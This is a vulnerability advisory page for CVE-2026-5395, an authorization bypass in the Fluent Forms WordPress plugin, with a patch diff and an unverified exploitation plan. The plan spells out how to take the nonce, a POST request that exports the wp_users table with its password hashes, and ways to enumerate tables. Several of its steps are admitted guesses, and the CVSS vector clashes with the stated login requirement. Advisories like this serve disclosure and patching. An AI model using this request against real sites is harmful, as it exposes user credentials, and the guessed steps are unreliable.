CVE-2026-5395

Fluent Forms <= 6.2.0 - Authenticated (Subscriber+) Authorization Bypass via 'table' Parameter

highAuthorization Bypass Through User-Controlled Key
8.2
CVSS Score
8.2
CVSS Score
high
Severity
6.2.1
Patched in
1d
Time to patch

Description

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.2.0 via the exportEntries function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Fluent Forms manager-level access and above, to bypass form-level access restrictions to access submissions from forms they are not authorized to view, export data from arbitrary database tables, and enumerate database table names via error message disclosure.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.2.0
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected pluginfluentform

What Changed in the Fix

Changes introduced in v6.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5395 (Fluent Forms Authorization Bypass) ## 1. Vulnerability Summary The **Fluent Forms** plugin (up to version 6.2.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability in its entry export functionality. The AJAX action `fluentform-form-ent…

Show full research plan

Exploitation Research Plan: CVE-2026-5395 (Fluent Forms Authorization Bypass)

1. Vulnerability Summary

The Fluent Forms plugin (up to version 6.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its entry export functionality. The AJAX action fluentform-form-entries-export invokes the exportEntries method in the Transfer module. This function fails to validate a user-supplied table parameter.

While the intended use is to export submissions from the wp_fluentform_submissions table for a specific form, an attacker with "Entries Viewer" permissions (which can be granted to low-privileged roles like Subscribers via the plugin's "Managers" settings) can manipulate the table parameter to export data from arbitrary database tables (e.g., wp_users, wp_options) or enumerate table names via database error messages.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: fluentform-form-entries-export
  • Authentication: Authenticated (Subscriber+ with "Entries Viewer" or "Manager" permissions).
  • Vulnerable Parameter: table
  • Payload: The name of a sensitive database table (e.g., wp_users).

3. Code Flow

  1. Entry Point: In app/Hooks/Ajax.php, the action is registered:
    $app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
        Acl::verify('fluentform_entries_viewer'); // Check for viewer capability
        (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
    });
    
  2. Authorization: Acl::verify('fluentform_entries_viewer') checks if the current user has the permission to view entries. This can be assigned to any role in the Fluent Forms global settings.
  3. Sink: The exportEntries() function (in app/Modules/Transfer/Transfer.php, inferred from the hook) reads the table parameter from the request. It likely uses this parameter to construct a SQL query or initialize a Database Model without verifying that the table name is restricted to submission-related tables.
  4. Execution: The plugin executes a SELECT * (or similar) on the provided table and generates a downloadable file (CSV/JSON).

4. Nonce Acquisition Strategy

The Acl::verify call in Fluent Forms typically validates the _fluent_form_nonce. This nonce is localized into the WordPress admin dashboard.

Strategy:

  1. Setup: Create a subscriber user and ensure they have the fluentform_entries_viewer permission.
  2. Page Navigation: Navigate to the Fluent Forms "Entries" page.
  3. Nonce Extraction:
    • The nonce is usually stored in the fluent_forms_global_var JavaScript object.
    • Use browser_eval to extract it: window.fluent_forms_global_var?.nonce.

5. Exploitation Strategy

Step 1: Elevate Subscriber Permissions

Fluent Forms allows custom managers. We will use WP-CLI to configure the plugin to allow Subscribers to view entries, simulating a common administrative delegation.

# Set the global settings to allow 'subscriber' role to have 'fluentform_entries_viewer' capability
# This is a conceptual CLI command; the actual option key is _fluentform_global_form_settings
wp option patch update _fluentform_global_form_settings managers '{"subscriber":{"capabilities":["fluentform_entries_viewer"]}}'

Step 2: Obtain Nonce as Subscriber

Log in as the Subscriber and navigate to the admin dashboard.

  1. browser_navigate("/wp-admin/admin.php?page=fluent_forms")
  2. NONCE = browser_eval("window.fluent_forms_global_var.nonce")

Step 3: Trigger the Vulnerable Export

Send a POST request to admin-ajax.php targeting the wp_users table.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fluentform-form-entries-export&
    table=wp_users&
    form_id=1&
    _fluent_form_nonce=[NONCE]
    

Step 4: Enumeration (Alternative)

To enumerate tables, provide a non-existent table name (e.g., table=non_existent_xyz) and check if the response body contains a SQL error message disclose by the database.

6. Test Data Setup

  1. Create a Form: wp fluentform create --title="Test Form"
  2. Create a Submission: Submit at least one entry to the form so the "Entries" menu is accessible.
  3. Create User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  4. Configure Permissions: Ensure the Subscriber role is added to the Fluent Forms "Managers" list with "Entries Viewer" permissions.

7. Expected Results

  • Success: The response will be a file download (likely CSV format) containing the contents of the wp_users table, including user_login, user_pass (hashes), and user_email.
  • Enumeration: If an invalid table is provided, the plugin may return a JSON error or raw HTML containing a database error string like Table 'wordpress.non_existent_xyz' doesn't exist.

8. Verification Steps

  1. File Content: Verify the downloaded content contains the string admin and a WordPress password hash (starting with $P$B).
  2. CLI Check: Verify the current user's meta to see if Fluent Forms added specific manager metadata:
    wp user meta get [ID] _fluentform_manager_capabilities

9. Alternative Approaches

  • Table Brute-forcing: If error disclosure is enabled, iterate through common table prefixes (e.g., wp_, wp_2_, staging_) and table names.
  • Form ID Bypass: If the attacker is authorized for Form ID 1 but not Form ID 2, they can try to set table=wp_fluentform_submissions and provide a form_id=2 filter to see if the table-level access overrides the form-level ownership check.
  • Information Leak via JSON: Check if the response is JSON instead of CSV by adding format=json to the POST body.
Research Findings
Static analysis — not yet PoC-verified

Summary

Fluent Forms is vulnerable to an Insecure Direct Object Reference (IDOR) in its entry export functionality due to missing validation on the 'table' parameter. Authenticated attackers with 'Entries Viewer' or 'Manager' permissions (which can be assigned to low-privileged roles like Subscribers) can exploit this to export sensitive data from arbitrary database tables (e.g., wp_users) or view submissions from forms they are not authorized to access.

Vulnerable Code

// app/Hooks/Ajax.php:105 (v6.2.0)
$app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
    Acl::verify('fluentform_entries_viewer');
    (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
});

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.0/app/Hooks/Ajax.php	2026-04-01 13:33:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.1/app/Hooks/Ajax.php	2026-04-16 11:38:36.000000000 +0000
@@ -101,8 +113,11 @@
 
 
 
 $app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
-    Acl::verify('fluentform_entries_viewer');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+
+    Acl::verify('fluentform_entries_viewer', $formId);
     (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
 });

Exploit Outline

The exploit requires an authenticated session with a user role that has been granted 'Entries Viewer' permissions in the Fluent Forms Global Settings (Managers section). 1. Log in to the WordPress dashboard as a user with the required permissions. 2. Access any form entries page to extract the `_fluent_form_nonce` from the `window.fluent_forms_global_var.nonce` JavaScript object. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `fluentform-form-entries-export` - `_fluent_form_nonce`: [EXTRACTED_NONCE] - `table`: The name of a target database table (e.g., `wp_users`). - `form_id`: A valid form ID (this bypasses the initial ACL check, but the underlying logic fails to restrict the 'table' parameter to that specific form's submission table). 4. The plugin will execute a query against the user-supplied table and return a CSV/JSON file containing the table's data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.